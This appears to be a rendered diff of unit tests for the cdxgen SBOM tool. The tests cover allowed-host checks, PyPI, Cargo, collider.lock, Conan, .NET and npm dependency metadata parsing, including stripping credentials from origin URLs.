const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
|
|
784
|
+
try {
|
|
785
|
+
process.env.CDXGEN_ALLOWED_HOSTS = "example.com";
|
|
786
|
+
const beforeRequestHook =
|
|
787
|
+
cdxgenAgent.defaults.options.hooks.beforeRequest[0];
|
|
788
|
+
|
|
789
|
+
setDryRunMode(true);
|
|
790
|
+
resetRecordedActivities();
|
|
791
|
+
assert.throws(() =>
|
|
792
|
+
beforeRequestHook({
|
|
793
|
+
context: {},
|
|
794
|
+
url: new URL("https://example.com/resource"),
|
|
795
|
+
}),
|
|
796
|
+
);
|
|
797
|
+
const envActivities = getRecordedActivities().filter(
|
|
798
|
+
(activity) => activity.target === "process.env:CDXGEN_ALLOWED_HOSTS",
|
|
799
|
+
);
|
|
800
|
+
assert.strictEqual(envActivities.length, 1);
|
|
801
|
+
assert.strictEqual(envActivities[0].count, 1);
|
|
802
|
+
} finally {
|
|
803
|
+
if (originalAllowedHosts === undefined) {
|
|
804
|
+
delete process.env.CDXGEN_ALLOWED_HOSTS;
|
|
805
|
+
} else {
|
|
806
|
+
process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
|
|
807
|
+
}
|
|
808
|
+
setDryRunMode(false);
|
|
809
|
+
resetRecordedActivities();
|
|
810
|
+
}
|
|
811
|
+
});
|
|
812
|
+
|
|
442
813
|
it("safeSpawnSync() logs container python notices to stdout", () => {
|
|
443
814
|
const originalConsoleLog = console.log;
|
|
444
815
|
const originalConsoleWarn = console.warn;
|
|
@@ -1276,6 +1647,84 @@ it("get py metadata", async () => {
|
|
|
1276
1647
|
]);
|
|
1277
1648
|
}, 240000);
|
|
1278
1649
|
|
|
1650
|
+
it("get py metadata adds distribution external references", async () => {
|
|
1651
|
+
const agentGetStub = sinon.stub().resolves({
|
|
1652
|
+
body: {
|
|
1653
|
+
info: {
|
|
1654
|
+
author: "",
|
|
1655
|
+
author_email: "",
|
|
1656
|
+
classifiers: [],
|
|
1657
|
+
license: "",
|
|
1658
|
+
license_expression: "",
|
|
1659
|
+
name: "requests",
|
|
1660
|
+
summary: "HTTP client",
|
|
1661
|
+
version: "2.31.0",
|
|
1662
|
+
},
|
|
1663
|
+
releases: {
|
|
1664
|
+
"2.31.0": [
|
|
1665
|
+
{
|
|
1666
|
+
digests: { sha256: "abc123" },
|
|
1667
|
+
filename: "requests-2.31.0-py3-none-any.whl",
|
|
1668
|
+
packagetype: "bdist_wheel",
|
|
1669
|
+
url: "https://files.pythonhosted.org/packages/example/requests-2.31.0-py3-none-any.whl",
|
|
1670
|
+
},
|
|
1671
|
+
{
|
|
1672
|
+
digests: { sha256: "def456" },
|
|
1673
|
+
filename: "requests-2.31.0.tar.gz",
|
|
1674
|
+
packagetype: "sdist",
|
|
1675
|
+
url: "https://files.pythonhosted.org/packages/example/requests-2.31.0.tar.gz",
|
|
1676
|
+
},
|
|
1677
|
+
],
|
|
1678
|
+
},
|
|
1679
|
+
},
|
|
1680
|
+
});
|
|
1681
|
+
const { getPyMetadata: mockedGetPyMetadata } = await esmock("./utils.js", {
|
|
1682
|
+
got: {
|
|
1683
|
+
default: {
|
|
1684
|
+
extend: sinon.stub().returns({ get: agentGetStub }),
|
|
1685
|
+
},
|
|
1686
|
+
},
|
|
1687
|
+
});
|
|
1688
|
+
const data = await mockedGetPyMetadata(
|
|
1689
|
+
[
|
|
1690
|
+
{
|
|
1691
|
+
externalReferences: [
|
|
1692
|
+
{
|
|
1693
|
+
type: "website",
|
|
1694
|
+
url: "https://example.com/requests",
|
|
1695
|
+
},
|
|
1696
|
+
],
|
|
1697
|
+
group: "",
|
|
1698
|
+
name: "requests",
|
|
1699
|
+
version: "2.31.0",
|
|
1700
|
+
},
|
|
1701
|
+
],
|
|
1702
|
+
true,
|
|
1703
|
+
);
|
|
1704
|
+
assert.strictEqual(data.length, 1);
|
|
1705
|
+
assert.ok(
|
|
1706
|
+
data[0].externalReferences?.some(
|
|
1707
|
+
(reference) => reference.type === "website",
|
|
1708
|
+
),
|
|
1709
|
+
);
|
|
1710
|
+
assert.ok(
|
|
1711
|
+
data[0].externalReferences?.some(
|
|
1712
|
+
(reference) =>
|
|
1713
|
+
reference.type === "distribution" &&
|
|
1714
|
+
reference.url.endsWith(".whl") &&
|
|
1715
|
+
reference.comment === "requests-2.31.0-py3-none-any.whl",
|
|
1716
|
+
),
|
|
1717
|
+
);
|
|
1718
|
+
assert.ok(
|
|
1719
|
+
data[0].externalReferences?.some(
|
|
1720
|
+
(reference) =>
|
|
1721
|
+
reference.type === "distribution" &&
|
|
1722
|
+
reference.url.endsWith(".tar.gz") &&
|
|
1723
|
+
reference.comment === "requests-2.31.0.tar.gz",
|
|
1724
|
+
),
|
|
1725
|
+
);
|
|
1726
|
+
});
|
|
1727
|
+
|
|
1279
1728
|
it("parseGoModData", async () => {
|
|
1280
1729
|
let retMap = await parseGoModData(null);
|
|
1281
1730
|
assert.deepStrictEqual(retMap, {});
|
|
@@ -2305,6 +2754,49 @@ bindgen = { version = "0.70.0", default-features = false }
|
|
|
2305
2754
|
}
|
|
2306
2755
|
});
|
|
2307
2756
|
|
|
2757
|
+
it("parse cargo toml captures git dependency metadata", async () => {
|
|
2758
|
+
const tmpDir = mkdtempSync(path.join(tmpdir(), "cdxgen-cargo-git-"));
|
|
2759
|
+
const cargoTomlFile = path.join(tmpDir, "Cargo.toml");
|
|
2760
|
+
writeFileSync(
|
|
2761
|
+
cargoTomlFile,
|
|
2762
|
+
`[package]
|
|
2763
|
+
name = "demo"
|
|
2764
|
+
version = "1.0.0"
|
|
2765
|
+
|
|
2766
|
+
[dependencies]
|
|
2767
|
+
git-crate = { git = "https://github.com/acme/git-crate.git", branch = "main" }
|
|
2768
|
+
`,
|
|
2769
|
+
);
|
|
2770
|
+
try {
|
|
2771
|
+
const depList = await parseCargoTomlData(cargoTomlFile);
|
|
2772
|
+
const gitDep = depList.find((pkg) => pkg.name === "git-crate");
|
|
2773
|
+
assert.ok(gitDep);
|
|
2774
|
+
assert.strictEqual(
|
|
2775
|
+
gitDep.version,
|
|
2776
|
+
"git+https://github.com/acme/git-crate.git",
|
|
2777
|
+
);
|
|
2778
|
+
assert.strictEqual(
|
|
2779
|
+
gitDep.properties.find((property) => property.name === "cdx:cargo:git")
|
|
2780
|
+
?.value,
|
|
2781
|
+
"https://github.com/acme/git-crate.git",
|
|
2782
|
+
);
|
|
2783
|
+
assert.strictEqual(
|
|
2784
|
+
gitDep.properties.find(
|
|
2785
|
+
(property) => property.name === "cdx:cargo:gitBranch",
|
|
2786
|
+
)?.value,
|
|
2787
|
+
"main",
|
|
2788
|
+
);
|
|
2789
|
+
assert.strictEqual(
|
|
2790
|
+
gitDep.properties.find(
|
|
2791
|
+
(property) => property.name === "cdx:cargo:dependencyKind",
|
|
2792
|
+
)?.value,
|
|
2793
|
+
"runtime",
|
|
2794
|
+
);
|
|
2795
|
+
} finally {
|
|
2796
|
+
rmSync(tmpDir, { force: true, recursive: true });
|
|
2797
|
+
}
|
|
2798
|
+
});
|
|
2799
|
+
|
|
2308
2800
|
it("parse cargo virtual workspace with inherited package and dependency metadata", async () => {
|
|
2309
2801
|
const workspaceDir = "./test/data/cargo-workspace-repotest";
|
|
2310
2802
|
const workspaceToml = path.join(workspaceDir, "Cargo.toml");
|
|
@@ -2825,77 +3317,292 @@ it("parse conan data", () => {
|
|
|
2825
3317
|
});
|
|
2826
3318
|
});
|
|
2827
3319
|
|
|
2828
|
-
it("
|
|
2829
|
-
|
|
2830
|
-
|
|
2831
|
-
|
|
2832
|
-
|
|
2833
|
-
|
|
2834
|
-
|
|
2835
|
-
assert.deepStrictEqual(
|
|
2836
|
-
purl.substring(0, expectedPurlPrefix.length),
|
|
2837
|
-
expectedPurlPrefix,
|
|
2838
|
-
);
|
|
2839
|
-
};
|
|
2840
|
-
|
|
2841
|
-
checkParseResult("testpkg", "pkg:conan/testpkg@latest");
|
|
2842
|
-
|
|
2843
|
-
checkParseResult("testpkg/1.2.3", "pkg:conan/testpkg@1.2.3");
|
|
2844
|
-
|
|
2845
|
-
checkParseResult(
|
|
2846
|
-
"testpkg/1.2.3#recipe_revision",
|
|
2847
|
-
"pkg:conan/testpkg@1.2.3?rrev=recipe_revision",
|
|
2848
|
-
);
|
|
2849
|
-
|
|
2850
|
-
checkParseResult(
|
|
2851
|
-
"testpkg/1.2.3@someuser/somechannel",
|
|
2852
|
-
"pkg:conan/testpkg@1.2.3?channel=somechannel&user=someuser",
|
|
2853
|
-
);
|
|
2854
|
-
|
|
2855
|
-
checkParseResult(
|
|
2856
|
-
"testpkg/1.2.3@someuser/somechannel#recipe_revision",
|
|
2857
|
-
"pkg:conan/testpkg@1.2.3?channel=somechannel&rrev=recipe_revision&user=someuser",
|
|
3320
|
+
it("parse collider lock data", () => {
|
|
3321
|
+
let colliderLockData = parseColliderLockData(null);
|
|
3322
|
+
assert.deepStrictEqual(colliderLockData.pkgList.length, 0);
|
|
3323
|
+
assert.deepStrictEqual(Object.keys(colliderLockData.dependencies).length, 0);
|
|
3324
|
+
assert.deepStrictEqual(
|
|
3325
|
+
colliderLockData.parentComponentDependencies.length,
|
|
3326
|
+
0,
|
|
2858
3327
|
);
|
|
2859
3328
|
|
|
2860
|
-
|
|
2861
|
-
"
|
|
2862
|
-
"
|
|
2863
|
-
"?channel=somechannel" +
|
|
2864
|
-
"&prev=package_revision" +
|
|
2865
|
-
"&rrev=recipe_revision" +
|
|
2866
|
-
"&user=someuser",
|
|
3329
|
+
colliderLockData = parseColliderLockData(
|
|
3330
|
+
readFileSync("./test/data/collider.lock", { encoding: "utf-8" }),
|
|
3331
|
+
"./test/data/collider.lock",
|
|
2867
3332
|
);
|
|
2868
|
-
|
|
2869
|
-
|
|
2870
|
-
|
|
2871
|
-
|
|
2872
|
-
|
|
2873
|
-
|
|
2874
|
-
|
|
2875
|
-
|
|
2876
|
-
|
|
2877
|
-
|
|
2878
|
-
|
|
2879
|
-
|
|
2880
|
-
|
|
2881
|
-
|
|
2882
|
-
|
|
2883
|
-
|
|
2884
|
-
|
|
2885
|
-
|
|
2886
|
-
|
|
2887
|
-
|
|
2888
|
-
|
|
2889
|
-
|
|
2890
|
-
|
|
2891
|
-
|
|
2892
|
-
|
|
2893
|
-
|
|
2894
|
-
|
|
2895
|
-
|
|
2896
|
-
|
|
2897
|
-
|
|
2898
|
-
|
|
3333
|
+
assert.deepStrictEqual(colliderLockData.pkgList.length, 3);
|
|
3334
|
+
assert.deepStrictEqual(colliderLockData.pkgList[0], {
|
|
3335
|
+
name: "fmt",
|
|
3336
|
+
version: "11.0.2",
|
|
3337
|
+
"bom-ref": "pkg:generic/fmt@11.0.2",
|
|
3338
|
+
externalReferences: [
|
|
3339
|
+
{
|
|
3340
|
+
type: "distribution",
|
|
3341
|
+
url: "https://packages.example.com/collider/v2/",
|
|
3342
|
+
},
|
|
3343
|
+
],
|
|
3344
|
+
hashes: [
|
|
3345
|
+
{
|
|
3346
|
+
alg: "SHA-256",
|
|
3347
|
+
content:
|
|
3348
|
+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
3349
|
+
},
|
|
3350
|
+
],
|
|
3351
|
+
properties: [
|
|
3352
|
+
{ name: "SrcFile", value: "./test/data/collider.lock" },
|
|
3353
|
+
{ name: "cdx:collider:dependencyKind", value: "direct" },
|
|
3354
|
+
{
|
|
3355
|
+
name: "cdx:collider:wrapHash",
|
|
3356
|
+
value:
|
|
3357
|
+
"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
3358
|
+
},
|
|
3359
|
+
{ name: "cdx:collider:hasWrapHash", value: "true" },
|
|
3360
|
+
{
|
|
3361
|
+
name: "cdx:collider:origin",
|
|
3362
|
+
value: "https://packages.example.com/collider/v2/",
|
|
3363
|
+
},
|
|
3364
|
+
{ name: "cdx:collider:originScheme", value: "https" },
|
|
3365
|
+
{ name: "cdx:collider:originHost", value: "packages.example.com" },
|
|
3366
|
+
],
|
|
3367
|
+
purl: "pkg:generic/fmt@11.0.2",
|
|
3368
|
+
scope: "required",
|
|
3369
|
+
});
|
|
3370
|
+
assert.deepStrictEqual(colliderLockData.pkgList[1], {
|
|
3371
|
+
name: "spdlog",
|
|
3372
|
+
version: "1.15.0",
|
|
3373
|
+
"bom-ref": "pkg:generic/spdlog@1.15.0",
|
|
3374
|
+
externalReferences: [
|
|
3375
|
+
{
|
|
3376
|
+
type: "distribution",
|
|
3377
|
+
url: "https://packages.example.com/collider/v2/",
|
|
3378
|
+
},
|
|
3379
|
+
],
|
|
3380
|
+
hashes: [
|
|
3381
|
+
{
|
|
3382
|
+
alg: "SHA-256",
|
|
3383
|
+
content:
|
|
3384
|
+
"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
|
3385
|
+
},
|
|
3386
|
+
],
|
|
3387
|
+
properties: [
|
|
3388
|
+
{ name: "SrcFile", value: "./test/data/collider.lock" },
|
|
3389
|
+
{ name: "cdx:collider:dependencyKind", value: "direct" },
|
|
3390
|
+
{
|
|
3391
|
+
name: "cdx:collider:wrapHash",
|
|
3392
|
+
value:
|
|
3393
|
+
"sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
|
3394
|
+
},
|
|
3395
|
+
{ name: "cdx:collider:hasWrapHash", value: "true" },
|
|
3396
|
+
{
|
|
3397
|
+
name: "cdx:collider:origin",
|
|
3398
|
+
value: "https://packages.example.com/collider/v2/",
|
|
3399
|
+
},
|
|
3400
|
+
{ name: "cdx:collider:originScheme", value: "https" },
|
|
3401
|
+
{ name: "cdx:collider:originHost", value: "packages.example.com" },
|
|
3402
|
+
],
|
|
3403
|
+
purl: "pkg:generic/spdlog@1.15.0",
|
|
3404
|
+
scope: "required",
|
|
3405
|
+
});
|
|
3406
|
+
assert.deepStrictEqual(colliderLockData.pkgList[2], {
|
|
3407
|
+
name: "fast_float",
|
|
3408
|
+
version: "8.0.2",
|
|
3409
|
+
"bom-ref": "pkg:generic/fast_float@8.0.2",
|
|
3410
|
+
externalReferences: [
|
|
3411
|
+
{
|
|
3412
|
+
type: "distribution",
|
|
3413
|
+
url: "https://wrapdb.mesonbuild.com/v2/",
|
|
3414
|
+
},
|
|
3415
|
+
],
|
|
3416
|
+
hashes: [
|
|
3417
|
+
{
|
|
3418
|
+
alg: "SHA-256",
|
|
3419
|
+
content:
|
|
3420
|
+
"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc",
|
|
3421
|
+
},
|
|
3422
|
+
],
|
|
3423
|
+
properties: [
|
|
3424
|
+
{ name: "SrcFile", value: "./test/data/collider.lock" },
|
|
3425
|
+
{ name: "cdx:collider:dependencyKind", value: "transitive" },
|
|
3426
|
+
{
|
|
3427
|
+
name: "cdx:collider:wrapHash",
|
|
3428
|
+
value:
|
|
3429
|
+
"sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc",
|
|
3430
|
+
},
|
|
3431
|
+
{ name: "cdx:collider:hasWrapHash", value: "true" },
|
|
3432
|
+
{
|
|
3433
|
+
name: "cdx:collider:origin",
|
|
3434
|
+
value: "https://wrapdb.mesonbuild.com/v2/",
|
|
3435
|
+
},
|
|
3436
|
+
{ name: "cdx:collider:originScheme", value: "https" },
|
|
3437
|
+
{ name: "cdx:collider:originHost", value: "wrapdb.mesonbuild.com" },
|
|
3438
|
+
],
|
|
3439
|
+
purl: "pkg:generic/fast_float@8.0.2",
|
|
3440
|
+
});
|
|
3441
|
+
assert.deepStrictEqual(colliderLockData.dependencies, {
|
|
3442
|
+
"pkg:generic/fmt@11.0.2": [],
|
|
3443
|
+
"pkg:generic/spdlog@1.15.0": [],
|
|
3444
|
+
"pkg:generic/fast_float@8.0.2": [],
|
|
3445
|
+
});
|
|
3446
|
+
assert.deepStrictEqual(colliderLockData.parentComponentDependencies, [
|
|
3447
|
+
"pkg:generic/fmt@11.0.2",
|
|
3448
|
+
"pkg:generic/spdlog@1.15.0",
|
|
3449
|
+
]);
|
|
3450
|
+
});
|
|
3451
|
+
|
|
3452
|
+
it("parse collider lock data sanitizes origin metadata and tracks invalid wrap hashes", () => {
|
|
3453
|
+
const colliderLockData = parseColliderLockData(
|
|
3454
|
+
JSON.stringify({
|
|
3455
|
+
version: 1,
|
|
3456
|
+
dependencies: {
|
|
3457
|
+
"unsafe-origin": {
|
|
3458
|
+
version: "1.0.0",
|
|
3459
|
+
wrap_hash:
|
|
3460
|
+
"sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd",
|
|
3461
|
+
origin: "https://user:pass@example.com/private/v2/?token=secret#frag",
|
|
3462
|
+
},
|
|
3463
|
+
},
|
|
3464
|
+
packages: {
|
|
3465
|
+
malformed: {
|
|
3466
|
+
version: "2.0.0",
|
|
3467
|
+
wrap_hash: "not-a-sha256",
|
|
3468
|
+
origin: "http://mirror.example.com/collider/v2/?sig=123",
|
|
3469
|
+
},
|
|
3470
|
+
"bad-origin": {
|
|
3471
|
+
version: "3.0.0",
|
|
3472
|
+
wrap_hash:
|
|
3473
|
+
"sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
|
|
3474
|
+
origin: "://not a url",
|
|
3475
|
+
},
|
|
3476
|
+
},
|
|
3477
|
+
}),
|
|
3478
|
+
"/repo/collider.lock",
|
|
3479
|
+
);
|
|
3480
|
+
assert.strictEqual(colliderLockData.pkgList.length, 3);
|
|
3481
|
+
const unsafeOrigin = colliderLockData.pkgList.find(
|
|
3482
|
+
(pkg) => pkg.name === "unsafe-origin",
|
|
3483
|
+
);
|
|
3484
|
+
const malformed = colliderLockData.pkgList.find(
|
|
3485
|
+
(pkg) => pkg.name === "malformed",
|
|
3486
|
+
);
|
|
3487
|
+
const badOrigin = colliderLockData.pkgList.find(
|
|
3488
|
+
(pkg) => pkg.name === "bad-origin",
|
|
3489
|
+
);
|
|
3490
|
+
assert.deepStrictEqual(
|
|
3491
|
+
unsafeOrigin.properties.find(
|
|
3492
|
+
(property) => property.name === "cdx:collider:origin",
|
|
3493
|
+
)?.value,
|
|
3494
|
+
"https://example.com/private/v2/",
|
|
3495
|
+
);
|
|
3496
|
+
assert.deepStrictEqual(
|
|
3497
|
+
unsafeOrigin.properties.find(
|
|
3498
|
+
(property) => property.name === "cdx:collider:originSanitized",
|
|
3499
|
+
)?.value,
|
|
3500
|
+
"true",
|
|
3501
|
+
);
|
|
3502
|
+
assert.deepStrictEqual(unsafeOrigin.externalReferences, [
|
|
3503
|
+
{
|
|
3504
|
+
type: "distribution",
|
|
3505
|
+
url: "https://example.com/private/v2/",
|
|
3506
|
+
},
|
|
3507
|
+
]);
|
|
3508
|
+
assert.deepStrictEqual(
|
|
3509
|
+
malformed.properties.find(
|
|
3510
|
+
(property) => property.name === "cdx:collider:hasWrapHash",
|
|
3511
|
+
)?.value,
|
|
3512
|
+
"false",
|
|
3513
|
+
);
|
|
3514
|
+
assert.deepStrictEqual(
|
|
3515
|
+
malformed.properties.find(
|
|
3516
|
+
(property) => property.name === "cdx:collider:wrapHashInvalid",
|
|
3517
|
+
)?.value,
|
|
3518
|
+
"true",
|
|
3519
|
+
);
|
|
3520
|
+
assert.deepStrictEqual(
|
|
3521
|
+
malformed.properties.find(
|
|
3522
|
+
(property) => property.name === "cdx:collider:origin",
|
|
3523
|
+
)?.value,
|
|
3524
|
+
"http://mirror.example.com/collider/v2/",
|
|
3525
|
+
);
|
|
3526
|
+
assert.ok(!malformed.hashes);
|
|
3527
|
+
assert.ok(
|
|
3528
|
+
!badOrigin.properties.some(
|
|
3529
|
+
(property) => property.name === "cdx:collider:origin",
|
|
3530
|
+
),
|
|
3531
|
+
);
|
|
3532
|
+
assert.ok(!badOrigin.externalReferences);
|
|
3533
|
+
});
|
|
3534
|
+
|
|
3535
|
+
it("conan package reference mapper to pURL", () => {
|
|
3536
|
+
const checkParseResult = (inputPkgRef, expectedPurl) => {
|
|
3537
|
+
const [purl, name, version] =
|
|
3538
|
+
mapConanPkgRefToPurlStringAndNameAndVersion(inputPkgRef);
|
|
3539
|
+
assert.deepStrictEqual(purl, expectedPurl);
|
|
3540
|
+
|
|
3541
|
+
const expectedPurlPrefix = `pkg:conan/${name}@${version}`;
|
|
3542
|
+
assert.deepStrictEqual(
|
|
3543
|
+
purl.substring(0, expectedPurlPrefix.length),
|
|
3544
|
+
expectedPurlPrefix,
|
|
3545
|
+
);
|
|
3546
|
+
};
|
|
3547
|
+
|
|
3548
|
+
checkParseResult("testpkg", "pkg:conan/testpkg@latest");
|
|
3549
|
+
|
|
3550
|
+
checkParseResult("testpkg/1.2.3", "pkg:conan/testpkg@1.2.3");
|
|
3551
|
+
|
|
3552
|
+
checkParseResult(
|
|
3553
|
+
"testpkg/1.2.3#recipe_revision",
|
|
3554
|
+
"pkg:conan/testpkg@1.2.3?rrev=recipe_revision",
|
|
3555
|
+
);
|
|
3556
|
+
|
|
3557
|
+
checkParseResult(
|
|
3558
|
+
"testpkg/1.2.3@someuser/somechannel",
|
|
3559
|
+
"pkg:conan/testpkg@1.2.3?channel=somechannel&user=someuser",
|
|
3560
|
+
);
|
|
3561
|
+
|
|
3562
|
+
checkParseResult(
|
|
3563
|
+
"testpkg/1.2.3@someuser/somechannel#recipe_revision",
|
|
3564
|
+
"pkg:conan/testpkg@1.2.3?channel=somechannel&rrev=recipe_revision&user=someuser",
|
|
3565
|
+
);
|
|
3566
|
+
|
|
3567
|
+
checkParseResult(
|
|
3568
|
+
"testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#package_revision",
|
|
3569
|
+
"pkg:conan/testpkg@1.2.3" +
|
|
3570
|
+
"?channel=somechannel" +
|
|
3571
|
+
"&prev=package_revision" +
|
|
3572
|
+
"&rrev=recipe_revision" +
|
|
3573
|
+
"&user=someuser",
|
|
3574
|
+
);
|
|
3575
|
+
|
|
3576
|
+
const expectParseError = (pkgRef) => {
|
|
3577
|
+
const result = mapConanPkgRefToPurlStringAndNameAndVersion(pkgRef);
|
|
3578
|
+
assert.deepStrictEqual(result[0], null);
|
|
3579
|
+
assert.deepStrictEqual(result[1], null);
|
|
3580
|
+
assert.deepStrictEqual(result[2], null);
|
|
3581
|
+
};
|
|
3582
|
+
|
|
3583
|
+
expectParseError("testpkg/"); // empty version
|
|
3584
|
+
expectParseError("testpkg/1.2.3@"); // empty user
|
|
3585
|
+
expectParseError("testpkg/1.2.3@someuser"); // pkg ref is not allowed to stop here
|
|
3586
|
+
expectParseError("testpkg/1.2.3@someuser/"); // empty channel
|
|
3587
|
+
expectParseError("testpkg/1.2.3@someuser/somechannel#"); // empty recipe revision
|
|
3588
|
+
expectParseError("testpkg/1.2.3@someuser/somechannel#recipe_revision:"); // empty package id
|
|
3589
|
+
expectParseError(
|
|
3590
|
+
"testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id",
|
|
3591
|
+
); // pkg ref is not allowed to stop here
|
|
3592
|
+
expectParseError(
|
|
3593
|
+
"testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#",
|
|
3594
|
+
); // empty package revision
|
|
3595
|
+
expectParseError("testpkg/1.2.3/unexpected"); // unexpected pkg ref segment separator
|
|
3596
|
+
expectParseError("testpkg/1.2.3@someuser/somechannel/unexpected"); // unexpected pkg ref segment separator
|
|
3597
|
+
expectParseError(
|
|
3598
|
+
"testpkg/1.2.3@someuser/somechannel#recipe_revision/unexpected",
|
|
3599
|
+
); // unexpected pkg ref segment separator
|
|
3600
|
+
expectParseError(
|
|
3601
|
+
"testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id/unexpected",
|
|
3602
|
+
); // unexpected pkg ref segment separator
|
|
3603
|
+
expectParseError(
|
|
3604
|
+
"testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#package_revision/unexpected",
|
|
3605
|
+
); // unexpected pkg ref segment separator
|
|
2899
3606
|
});
|
|
2900
3607
|
|
|
2901
3608
|
it("parse conan data where packages use custom user/channel", () => {
|
|
@@ -3582,6 +4289,44 @@ it("parse project.assets.json", () => {
|
|
|
3582
4289
|
*/
|
|
3583
4290
|
});
|
|
3584
4291
|
|
|
4292
|
+
it("addEvidenceForDotnet() initializes evidence before adding occurrences", () => {
|
|
4293
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-dotnet-evidence-"));
|
|
4294
|
+
const slicesFile = path.join(tempDir, "dosai.json");
|
|
4295
|
+
try {
|
|
4296
|
+
writeFileSync(
|
|
4297
|
+
slicesFile,
|
|
4298
|
+
JSON.stringify({
|
|
4299
|
+
Dependencies: [
|
|
4300
|
+
{
|
|
4301
|
+
Module: "Example.dll",
|
|
4302
|
+
Path: "src/Program.cs",
|
|
4303
|
+
LineNumber: 42,
|
|
4304
|
+
},
|
|
4305
|
+
],
|
|
4306
|
+
}),
|
|
4307
|
+
);
|
|
4308
|
+
const pkgList = addEvidenceForDotnet(
|
|
4309
|
+
[
|
|
4310
|
+
{
|
|
4311
|
+
name: "Example",
|
|
4312
|
+
purl: "pkg:nuget/Example@1.0.0",
|
|
4313
|
+
properties: [{ name: "PackageFiles", value: "Example.dll" }],
|
|
4314
|
+
},
|
|
4315
|
+
],
|
|
4316
|
+
slicesFile,
|
|
4317
|
+
);
|
|
4318
|
+
assert.deepStrictEqual(pkgList[0].evidence?.occurrences, [
|
|
4319
|
+
{
|
|
4320
|
+
location: "src/Program.cs",
|
|
4321
|
+
line: 42,
|
|
4322
|
+
},
|
|
4323
|
+
]);
|
|
4324
|
+
assert.strictEqual(pkgList[0].scope, "required");
|
|
4325
|
+
} finally {
|
|
4326
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
4327
|
+
}
|
|
4328
|
+
});
|
|
4329
|
+
|
|
3585
4330
|
it("parse packages.lock.json", () => {
|
|
3586
4331
|
assert.deepStrictEqual(parseCsPkgLockData(null), {
|
|
3587
4332
|
dependenciesList: [],
|
|
@@ -4823,6 +5568,181 @@ it("parsePkgLock marks devOptional entries as development", async () => {
|
|
|
4823
5568
|
);
|
|
4824
5569
|
});
|
|
4825
5570
|
|
|
5571
|
+
it("parsePkgLock captures manifest-declared npm direct sources", async () => {
|
|
5572
|
+
const rootNode = {
|
|
5573
|
+
path: "/virtual/project",
|
|
5574
|
+
package: {
|
|
5575
|
+
author: "",
|
|
5576
|
+
license: "MIT",
|
|
5577
|
+
},
|
|
5578
|
+
packageName: "virtual-project",
|
|
5579
|
+
version: "1.0.0",
|
|
5580
|
+
edgesOut: new Map(),
|
|
5581
|
+
fsChildren: new Set(),
|
|
5582
|
+
children: new Map(),
|
|
5583
|
+
};
|
|
5584
|
+
const gitNode = {
|
|
5585
|
+
path: "/virtual/project/node_modules/git-dep",
|
|
5586
|
+
package: {
|
|
5587
|
+
author: "",
|
|
5588
|
+
license: "MIT",
|
|
5589
|
+
},
|
|
5590
|
+
packageName: "git-dep",
|
|
5591
|
+
version: "2.0.0",
|
|
5592
|
+
hasInstallScript: true,
|
|
5593
|
+
integrity: "sha512-gitdep",
|
|
5594
|
+
edgesIn: new Set([
|
|
5595
|
+
{
|
|
5596
|
+
name: "git-dep",
|
|
5597
|
+
spec: "git+https://github.com/acme/git-dep.git",
|
|
5598
|
+
},
|
|
5599
|
+
]),
|
|
5600
|
+
edgesOut: new Map(),
|
|
5601
|
+
fsChildren: new Set(),
|
|
5602
|
+
children: new Map(),
|
|
5603
|
+
};
|
|
5604
|
+
rootNode.children.set("node_modules/git-dep", gitNode);
|
|
5605
|
+
rootNode.edgesOut.set("git-dep", {
|
|
5606
|
+
name: "git-dep",
|
|
5607
|
+
spec: "git+https://github.com/acme/git-dep.git",
|
|
5608
|
+
to: gitNode,
|
|
5609
|
+
});
|
|
5610
|
+
const { parsePkgLock: parsePkgLockWithMockedArborist } = await esmock(
|
|
5611
|
+
"./utils.js",
|
|
5612
|
+
{
|
|
5613
|
+
"../third-party/arborist/lib/index.js": {
|
|
5614
|
+
default: class MockArborist {
|
|
5615
|
+
async loadVirtual() {
|
|
5616
|
+
return rootNode;
|
|
5617
|
+
}
|
|
5618
|
+
},
|
|
5619
|
+
},
|
|
5620
|
+
},
|
|
5621
|
+
);
|
|
5622
|
+
const parsedList = await parsePkgLockWithMockedArborist(
|
|
5623
|
+
"./test/data/package-json/v3/package-lock.json",
|
|
5624
|
+
{},
|
|
5625
|
+
);
|
|
5626
|
+
const gitDepPkg = parsedList.pkgList.find(
|
|
5627
|
+
(pkg) => pkg["bom-ref"] === "pkg:npm/git-dep@2.0.0",
|
|
5628
|
+
);
|
|
5629
|
+
assert.ok(gitDepPkg);
|
|
5630
|
+
assert.ok(
|
|
5631
|
+
gitDepPkg.properties.some(
|
|
5632
|
+
(property) =>
|
|
5633
|
+
property.name === "cdx:npm:manifestSourceType" &&
|
|
5634
|
+
property.value === "git",
|
|
5635
|
+
),
|
|
5636
|
+
);
|
|
5637
|
+
assert.ok(
|
|
5638
|
+
gitDepPkg.properties.some(
|
|
5639
|
+
(property) =>
|
|
5640
|
+
property.name === "cdx:npm:manifestSource" &&
|
|
5641
|
+
property.value === "git+https://github.com/acme/git-dep.git",
|
|
5642
|
+
),
|
|
5643
|
+
);
|
|
5644
|
+
});
|
|
5645
|
+
|
|
5646
|
+
it("parsePkgLock captures supported npm manifest source syntaxes", async () => {
|
|
5647
|
+
const rootNode = {
|
|
5648
|
+
path: "/virtual/project",
|
|
5649
|
+
package: {
